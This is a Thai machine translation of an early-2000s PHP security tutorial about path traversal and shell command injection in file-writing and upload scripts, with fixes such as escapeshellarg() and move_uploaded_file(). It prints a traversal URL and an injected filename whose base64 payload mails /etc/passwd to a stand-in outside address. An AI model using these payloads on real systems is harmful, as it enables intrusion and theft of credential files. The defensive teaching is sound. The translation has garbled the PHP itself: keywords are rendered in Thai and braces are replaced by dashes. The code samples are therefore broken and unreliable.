ความสำคัญของการใส่ใจกับปัญหาด้านความปลอดภัยที่มองเห็นได้มากกว่าทุกสิ่ง
วิธีที่มีประสิทธิภาพสูงสุดแต่มักถูกมองข้ามในการป้องกันผู้ใช้จากการทำลายโปรแกรมของคุณอย่างประสงค์ร้ายคือการพิจารณาความเป็นไปได้เมื่อคุณเขียนโค้ด สิ่งสำคัญคือต้องตระหนักถึงปัญหาด้านความปลอดภัยที่อาจเกิดขึ้นในโค้ดของคุณ ลองพิจารณาฟังก์ชันตัวอย่างต่อไปนี้ที่ออกแบบมาเพื่อลดความซับซ้อนของกระบวนการเขียนไฟล์ข้อความขนาดใหญ่ใน PHP:
<?php
ฟังก์ชั่น write_text($ชื่อไฟล์, $text="") {
คงที่ $open_files = array();
// หากชื่อไฟล์ว่างเปล่า ให้ปิดไฟล์ทั้งหมด
ถ้า ($ ชื่อไฟล์ == NULL) {
foreach($open_files เป็น $fr) {
fclose($fr);
-
กลับเป็นจริง;
-
$index = md5($ชื่อไฟล์);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($ชื่อไฟล์, "a+");
if(!$open_files[$index]) กลับเท็จ;
-
fputs($open_files[$index], $text);
กลับเป็นจริง;
-
?>
ฟังก์ชันนี้รับพารามิเตอร์เริ่มต้นสองตัว ชื่อไฟล์และข้อความที่จะเขียนลงในไฟล์
ฟังก์ชันจะตรวจสอบก่อนว่าไฟล์นั้นเปิดอยู่แล้วหรือไม่ หากเปิดอยู่ ระบบจะใช้ตัวจัดการไฟล์ดั้งเดิม ไม่เช่นนั้นก็จะถูกสร้างขึ้นมาเอง ในทั้งสองกรณี ข้อความจะถูกเขียนลงในไฟล์
หากชื่อไฟล์ที่ส่งไปยังฟังก์ชันเป็น NULL ไฟล์ที่เปิดอยู่ทั้งหมดจะถูกปิด ตัวอย่างการใช้งานมีให้ด้านล่าง
ฟังก์ชั่นนี้จะชัดเจนและอ่านง่ายขึ้นมากหากนักพัฒนาเขียนไฟล์ข้อความหลายไฟล์ในรูปแบบต่อไปนี้
สมมติว่าฟังก์ชันนี้มีอยู่ในไฟล์แยกต่างหากที่มีโค้ดที่เรียกใช้ฟังก์ชันนี้
ด้านล่างนี้เป็นโปรแกรมที่เรียกว่า quotes.php:
<html><body>
<ฟอร์มการกระทำ = "<?=$_SERVER['PHP_SELF']?>" method = "get">
เลือกลักษณะของใบเสนอราคา:
<select name="quote" size="3">
<option value="ตลก">คำพูดตลกขบขัน</option>
<option value="political">คำพูดทางการเมือง</option>
<option value="love">คำคมโรแมนติก</option>
</เลือก><br />
เครื่องหมายคำพูด: <input type="text" name="quote_text" size="30" />
<input type="submit" value="บันทึกใบเสนอราคา" />
</แบบฟอร์ม>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
ถ้า (write_text($ชื่อไฟล์, $quote_msg)) {
echo "<center><hr><h2>บันทึกใบเสนอราคาแล้ว!</h2></center>";
} อื่น {
echo "<center><hr><h2>เกิดข้อผิดพลาดในการเขียนเครื่องหมายคำพูด</h2></center>";
-
write_text(โมฆะ);
?>
อย่างที่คุณเห็น นักพัฒนาใช้ฟังก์ชัน write_text() เพื่อสร้างระบบที่ผู้ใช้สามารถส่งคำพูดที่ชื่นชอบได้ ซึ่งจะถูกจัดเก็บไว้ในไฟล์ข้อความ
น่าเสียดายที่นักพัฒนาอาจไม่คิดว่าโปรแกรมนี้ยังอนุญาตให้ผู้ใช้ที่เป็นอันตรายสามารถประนีประนอมความปลอดภัยของเว็บเซิร์ฟเวอร์ได้
บางทีตอนนี้คุณกำลังเกาหัวและสงสัยว่าโปรแกรมที่ดูเหมือนไร้เดียงสานี้อาจทำให้เกิดความเสี่ยงด้านความปลอดภัยได้อย่างไร
หากคุณไม่สามารถบอกได้ ให้พิจารณา URL ต่อไปนี้ และจำไว้ว่าโปรแกรมนี้เรียกว่า quotes.php:
http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data
เมื่อสิ่งนี้ URL ถูกส่งผ่านไป จะเกิดอะไรขึ้นเมื่อใช้เว็บเซิร์ฟเวอร์?
แน่นอนว่า quotes.php จะถูกดำเนินการ แต่แทนที่จะเขียนเครื่องหมายคำพูดลงในไฟล์ใดไฟล์หนึ่งจากสามไฟล์ที่เราต้องการ ไฟล์ใหม่ที่เรียกว่า different_file.dat จะถูกสร้างขึ้นโดยมี string ข้อมูลขยะ แทน
แน่นอนว่านี่ไม่ใช่พฤติกรรมที่ต้องการ ผู้ใช้ที่เป็นอันตรายสามารถเข้าถึงไฟล์รหัสผ่าน UNIX และสร้างบัญชีโดยระบุเครื่องหมายคำพูดเป็น ../../../etc/passwd (แม้ว่าจะต้องใช้เว็บเซิร์ฟเวอร์เพื่อรันโปรแกรมในฐานะ superuser . หากเป็นเช่นนั้นคุณควรหยุดอ่านและไปแก้ไขเดี๋ยวนี้)
หาก /home/web/quotes/ สามารถเข้าถึงได้ผ่านเบราว์เซอร์ ปัญหาด้านความปลอดภัยที่ร้ายแรงที่สุดของโปรแกรมนี้ก็คืออนุญาตให้ผู้ใช้เขียนและเรียกใช้โปรแกรม PHP ได้ตามใจชอบ นี้จะทำให้เกิดปัญหาไม่รู้จบ
ต่อไปนี้เป็นวิธีแก้ปัญหาบางประการ หากคุณต้องการเขียนไฟล์เพียงไม่กี่ไฟล์ในไดเร็กทอรี ให้พิจารณาใช้อาร์เรย์ที่เกี่ยวข้องเพื่อจัดเก็บชื่อไฟล์ หากไฟล์ที่ผู้ใช้ป้อนมีอยู่ในอาร์เรย์นี้ จะสามารถเขียนได้อย่างปลอดภัย อีกแนวคิดหนึ่งคือการลบอักขระทั้งหมดที่ไม่ใช่ตัวอักษรหรือตัวเลขเพื่อให้แน่ใจว่าไม่มีตัวคั่นไดเรกทอรี อีกวิธีหนึ่งคือตรวจสอบนามสกุลไฟล์เพื่อให้แน่ใจว่าไฟล์จะไม่ถูกเรียกใช้งานโดยเว็บเซิร์ฟเวอร์
หลักการนั้นง่ายมาก ในฐานะนักพัฒนาคุณต้องคิดมากกว่าว่าโปรแกรมของคุณทำอะไรเมื่อคุณต้องการให้มันรัน
จะเกิดอะไรขึ้นหากข้อมูลที่ผิดกฎหมายเข้าสู่องค์ประกอบของแบบฟอร์ม? ผู้ใช้ที่เป็นอันตรายอาจทำให้โปรแกรมของคุณทำงานในลักษณะที่ไม่ได้ตั้งใจได้หรือไม่? สิ่งที่สามารถทำได้เพื่อหยุดการโจมตีเหล่านี้? เว็บเซิร์ฟเวอร์และโปรแกรม PHP ของคุณจะปลอดภัยภายใต้ลิงก์ความปลอดภัยที่อ่อนแอที่สุดเท่านั้น ดังนั้นสิ่งสำคัญคือต้องยืนยันว่าลิงก์ที่อาจไม่ปลอดภัยเหล่านี้มีความปลอดภัย
ข้อผิดพลาดทั่วไปที่เกี่ยวข้องกับความปลอดภัย ต่อไปนี้เป็นประเด็นสำคัญบางส่วน ซึ่งเป็นรายการข้อผิดพลาดในการเขียนโค้ดและการจัดการโดยย่อและไม่สมบูรณ์ซึ่งอาจส่งผลต่อความปลอดภัย
1. เชื่อถือข้อมูล นี่เป็นธีมที่ใช้ในการสนทนาของฉันเกี่ยวกับความปลอดภัยของโปรแกรม PHP คุณไม่ควรเชื่อถือข้อมูลที่มาจากภายนอก ไม่ว่าจะมาจากแบบฟอร์มที่ผู้ใช้ส่งมา ไฟล์บนระบบไฟล์ หรือตัวแปรสภาพแวดล้อม ก็ไม่สามารถยอมรับข้อมูลใดๆ ได้ง่ายๆ ดังนั้นอินพุตของผู้ใช้จะต้องได้รับการตรวจสอบและจัดรูปแบบเพื่อความปลอดภัย
ความผิดพลาด 2. การจัดเก็บข้อมูลที่ละเอียดอ่อนในไดเร็กทอรีเว็บ ข้อมูลที่ละเอียดอ่อนทั้งหมดควรจัดเก็บไว้ในไฟล์แยกจากโปรแกรมที่จำเป็นต้องใช้ข้อมูล และในไดเร็กทอรีที่ไม่สามารถเข้าถึงได้ผ่านเบราว์เซอร์ เมื่อจำเป็นต้องใช้ข้อมูลที่ละเอียดอ่อน ให้รวมไว้ในโปรแกรม PHP ที่เหมาะสมผ่านทางคำสั่ง include หรือ need
ความผิดพลาด 3. การไม่ใช้ข้อควรระวังด้านความปลอดภัยที่แนะนำ
คู่มือ PHP ประกอบด้วยบทที่สมบูรณ์เกี่ยวกับข้อควรระวังด้านความปลอดภัยเมื่อใช้และเขียนโปรแกรม PHP คู่มือนี้ยัง (เกือบ) อธิบายอย่างชัดเจนตามกรณีศึกษา เมื่อมีความเสี่ยงด้านความปลอดภัยที่อาจเกิดขึ้นและวิธีลดความเสี่ยง ในอีกตัวอย่างหนึ่ง ผู้ใช้ที่ประสงค์ร้ายอาศัยข้อผิดพลาดของนักพัฒนาและผู้ดูแลระบบเพื่อรับข้อมูลความปลอดภัยที่พวกเขาสนใจเพื่อรับสิทธิ์ของระบบ โปรดปฏิบัติตามคำเตือนเหล่านี้และทำตามขั้นตอนที่เหมาะสมเพื่อลดโอกาสที่ผู้ใช้ที่เป็นอันตรายจะสร้างความเสียหายให้กับระบบของคุณ
การดำเนินการเรียกระบบใน PHP มีหลายวิธีในการเรียกระบบใน PHP
ตัวอย่างเช่น system(), exec(), passthru(), popen() และตัวดำเนินการ backquote (`) ล้วนอนุญาตให้คุณทำการเรียกระบบในโปรแกรมของคุณได้ การใช้ฟังก์ชันเหล่านี้อย่างไม่เหมาะสมจะเปิดประตูให้ผู้ใช้ที่เป็นอันตรายสามารถรันคำสั่งระบบบนเซิร์ฟเวอร์ของคุณได้ เช่นเดียวกับเมื่อเข้าถึงไฟล์ ในกรณีส่วนใหญ่ ช่องโหว่ด้านความปลอดภัยเกิดขึ้นเนื่องจากการป้อนข้อมูลภายนอกที่ไม่น่าเชื่อถือซึ่งนำไปสู่การดำเนินการคำสั่งระบบ
ตัวอย่างโปรแกรมที่ใช้การเรียกของระบบ พิจารณาโปรแกรมที่จัดการการอัพโหลดไฟล์ http โดยจะใช้โปรแกรม zip เพื่อบีบอัดไฟล์แล้วย้ายไปยังไดเร็กทอรีที่ระบุ (ค่าเริ่มต้นคือ /usr/local/archives/) รหัสมีดังนี้:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
ถ้า (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
ถ้า (file_exists($cmp_name)) {
$savepath = $store_path.$ชื่อไฟล์;
เปลี่ยนชื่อ($cmp_name, $savepath);
-
-
-
?>
<form enctype="หลายส่วน/ฟอร์ม-ข้อมูล" action="<?
php echo $_SERVER['PHP_SELF'];
?>" วิธีการ="โพสต์">
<ประเภทอินพุต = "HIDDEN" ชื่อ = "MAX_FILE_SIZE" ค่า = "1048576">
ไฟล์ที่จะบีบอัด: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
แม้ว่าโปรแกรมนี้ดูค่อนข้างเรียบง่ายและเข้าใจง่าย แต่ก็มีบางวิธีที่ผู้ใช้ที่ประสงค์ร้ายสามารถใช้ประโยชน์จากมันได้ ปัญหาด้านความปลอดภัยที่ร้ายแรงที่สุดเกิดขึ้นเมื่อเรารันคำสั่งการบีบอัด (ผ่านโอเปอเรเตอร์ `) ซึ่งสามารถเห็นได้ชัดเจนในบรรทัดต่อไปนี้:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
-
หลอกให้โปรแกรมรันคำสั่งเชลล์ตามอำเภอใจ แม้ว่าโค้ดนี้จะดูค่อนข้างปลอดภัย แต่ก็มีศักยภาพที่จะอนุญาตให้ผู้ใช้ที่มีสิทธิ์อัพโหลดไฟล์สามารถรันคำสั่งเชลล์ได้ตามอำเภอใจ!
พูดให้ถูกก็คือ ช่องโหว่ด้านความปลอดภัยนี้มาจากการกำหนดตัวแปร $cmp_name ที่นี่เราต้องการให้ไฟล์บีบอัดมีชื่อไฟล์เหมือนกับตอนที่อัพโหลดจากไคลเอนต์ (ที่มีนามสกุล .zip) เราใช้ $_FILES['file']['name'] (ซึ่งมีชื่อไฟล์ของไฟล์ที่อัพโหลดบนไคลเอนต์)
ในสถานการณ์เช่นนี้ ผู้ใช้ที่ประสงค์ร้ายสามารถบรรลุเป้าหมายได้โดยการอัพโหลดไฟล์ที่มีอักขระที่มีความหมายพิเศษต่อระบบปฏิบัติการที่เกี่ยวข้อง ตัวอย่างเช่น จะเกิดอะไรขึ้นหากผู้ใช้สร้างไฟล์เปล่าตามที่แสดงด้านล่าง (จากพรอมต์เชลล์ UNIX)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
ระบบ($รหัส);';"
คำสั่งนี้จะสร้างไฟล์ที่มีชื่อต่อไปนี้:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
ระบบ($รหัส);';
ดูแปลกเหรอ? ลองดูที่ "ชื่อไฟล์" นี้และเราพบว่ามันดูเหมือนคำสั่งที่ทำให้ PHP เวอร์ชัน CLI รันโค้ดต่อไปนี้:
<?php
$รหัส=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
ระบบ($รหัส);
?>
หากคุณแสดงเนื้อหาของตัวแปร $code ด้วยความอยากรู้ คุณจะพบว่ามันมี [email protected] < /etc/passwd. หากผู้ใช้ส่งไฟล์นี้ไปยังโปรแกรมและ PHP ทำการเรียกของระบบเพื่อบีบอัดไฟล์ PHP จะดำเนินการคำสั่งต่อไปนี้:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
ระบบ($รหัส);';.zip /tmp/phpY4iatI
น่าแปลกที่คำสั่งข้างต้นไม่ใช่คำสั่งเดียว แต่เป็น 3! เนื่องจากเชลล์ UNIX ตีความเครื่องหมายอัฒภาค (;) เป็นจุดสิ้นสุดของคำสั่งเชลล์หนึ่งคำสั่งและเป็นจุดเริ่มต้นของคำสั่งอื่น ยกเว้นเมื่อเครื่องหมายอัฒภาคอยู่ในเครื่องหมายคำพูด ระบบของ PHP() จะดำเนินการดังนี้:
[user@localhost]# / usr /bin/zip /tmp/
[ผู้ใช้@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
ระบบ($รหัส);'
[user@localhost]# .zip /tmp/phpY4iatI
อย่างที่คุณเห็น โปรแกรม PHP ที่ดูไม่เป็นอันตรายนี้กลายเป็นประตูหลังที่สามารถรันคำสั่งเชลล์และโปรแกรม PHP อื่น ๆ ได้ตามอำเภอใจ แม้ว่าตัวอย่างนี้จะใช้ได้กับระบบที่มี PHP เวอร์ชัน CLI อยู่ในเส้นทางเท่านั้น แต่ยังมีวิธีอื่นในการบรรลุผลเช่นเดียวกันโดยใช้เทคนิคนี้
กุญแจสำคัญ
ในการต่อสู้กับการโจมตีทางระบบ
ยังคงเป็นข้อมูลที่ผู้ใช้ไม่ควรเชื่อถือ โดยไม่คำนึงถึงเนื้อหา!คำถามยังคงอยู่ว่าจะหลีกเลี่ยงสถานการณ์ที่คล้ายกันเมื่อใช้การเรียกของระบบได้อย่างไร (นอกเหนือจากการไม่ได้ใช้เลย) เพื่อต่อสู้กับการโจมตีประเภทนี้ PHP มีฟังก์ชันสองอย่าง ได้แก่ Escapeshellarg() และ Escapeshellcmd()
ฟังก์ชัน Escapeshellarg() ได้รับการออกแบบมาเพื่อลบอักขระที่อาจเป็นอันตรายออกจากอินพุตของผู้ใช้ซึ่งใช้เป็นอาร์กิวเมนต์ของคำสั่งระบบ (ในกรณีของเราคือคำสั่ง zip) ไวยากรณ์ของฟังก์ชันนี้เป็นดังนี้:
Escapeshellarg($string)
$string เป็นอินพุตที่ใช้สำหรับการกรอง และค่าที่ส่งคืนคืออักขระที่ถูกกรอง เมื่อดำเนินการ ฟังก์ชันนี้จะเพิ่มเครื่องหมายคำพูดเดี่ยวรอบอักขระและหลีกเลี่ยง (นำหน้า) เครื่องหมายคำพูดเดี่ยวในสตริงต้นฉบับ ในรูทีนของเรา ถ้าเราเพิ่มบรรทัดเหล่านี้ก่อนดำเนินการคำสั่งระบบ:
$cmp_name = Escapeshellarg($cmp_name);
$tmp_name = Escapeshellarg($tmp_name);
เราสามารถหลีกเลี่ยงความเสี่ยงด้านความปลอดภัยดังกล่าวได้โดยทำให้แน่ใจว่าพารามิเตอร์ที่ส่งไปยังการเรียกของระบบได้รับการประมวลผลและเป็นอินพุตที่ผู้ใช้ไม่มีเจตนาอื่นใด
Escapeshellcmd() คล้ายกับ Escapeshellarg() ยกเว้นว่าจะยกเว้นเฉพาะอักขระที่มีความหมายพิเศษต่อระบบปฏิบัติการพื้นฐานเท่านั้น ต่างจาก Escapeshellarg() ตรงที่ Escapeshellcmd() จะไม่จัดการกับช่องว่างในเนื้อหา ตัวอย่างเช่น เมื่อ Escape โดยใช้ Escapeshellcmd() จะเป็นอักขระ
$string = "'สวัสดีชาวโลก!';คำสั่งชั่วร้าย"
จะกลายเป็น:
'สวัสดีชาวโลก';คำสั่งชั่วร้าย
ถ้าสตริงนี้ถูกใช้เป็นอาร์กิวเมนต์ในการเรียกของระบบ มันจะยังคงไม่ให้ผลลัพธ์ที่ถูกต้อง เนื่องจากเชลล์จะตีความว่าเป็นอาร์กิวเมนต์ที่แยกจากกันสองอาร์กิวเมนต์: 'hello and world';evilcommand หากผู้ใช้ป้อนส่วนหนึ่งของรายการอาร์กิวเมนต์สำหรับการเรียกของระบบ Escapeshellarg() เป็นตัวเลือกที่ดีกว่า
การปกป้องไฟล์ที่อัพโหลด ตลอดทั้งบทความนี้ ฉันมุ่งเน้นเฉพาะวิธีที่ผู้ใช้ที่เป็นอันตรายสามารถแย่งชิงการโทรของระบบเพื่อให้ได้ผลลัพธ์ที่ไม่พึงประสงค์
อย่างไรก็ตาม มีความเสี่ยงด้านความปลอดภัยที่อาจเกิดขึ้นอีกประการหนึ่งที่ควรกล่าวถึงที่นี่ เมื่อพิจารณากิจวัตรของเราอีกครั้ง ให้มุ่งความสนใจไปที่บรรทัดต่อไปนี้:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
'/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
ถ้า (file_exists($tmp_name)) {
ความเสี่ยงด้านความปลอดภัยที่อาจเกิดขึ้นจากบรรทัดโค้ดในตัวอย่างข้างต้นคือในบรรทัดสุดท้าย เราจะพิจารณาว่าไฟล์ที่อัปโหลดนั้นมีอยู่จริงหรือไม่ (มีอยู่ในชื่อไฟล์ชั่วคราว $tmp_name)
ความเสี่ยงด้านความปลอดภัยนี้ไม่ได้มาจาก PHP เอง แต่มาจากข้อเท็จจริงที่ว่าชื่อไฟล์ที่จัดเก็บไว้ใน $tmp_name ไม่ใช่ไฟล์เลย แต่ชี้ไปที่ไฟล์ที่ผู้ใช้ที่เป็นอันตรายต้องการเข้าถึง เช่น /etc/passwd
เพื่อป้องกันไม่ให้สิ่งนี้เกิดขึ้น PHP ได้จัดเตรียมฟังก์ชัน is_uploaded_file() ซึ่งเหมือนกับ file_exists() แต่ยังช่วยตรวจสอบว่าไฟล์นั้นอัพโหลดจากไคลเอนต์จริงหรือไม่
ในกรณีส่วนใหญ่ คุณจะต้องย้ายไฟล์ที่อัปโหลด PHP มีฟังก์ชัน move_uploaded_file() เพื่อทำงานกับ is_uploaded_file() ฟังก์ชันนี้ใช้เพื่อย้ายไฟล์ เช่น rename() ยกเว้นว่าฟังก์ชันนี้จะตรวจสอบโดยอัตโนมัติเพื่อให้แน่ใจว่าไฟล์ที่ถูกย้ายนั้นเป็นไฟล์ที่อัปโหลดก่อนดำเนินการ ไวยากรณ์ของ move_uploaded_file() เป็นดังนี้:
move_uploaded_file($filename, $destination);
เมื่อดำเนินการ ฟังก์ชันจะย้ายไฟล์ $filename ที่อัพโหลดไปยังปลายทาง $destination และส่งกลับค่าบูลีนเพื่อระบุว่าการดำเนินการสำเร็จหรือไม่
หมายเหตุ: John Coggeshall เป็นที่ปรึกษาและนักเขียน PHP เป็นเวลาประมาณ 5 ปีแล้วที่เขาเริ่มใช้ PHP
ข้อความภาษาอังกฤษต้นฉบับ: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html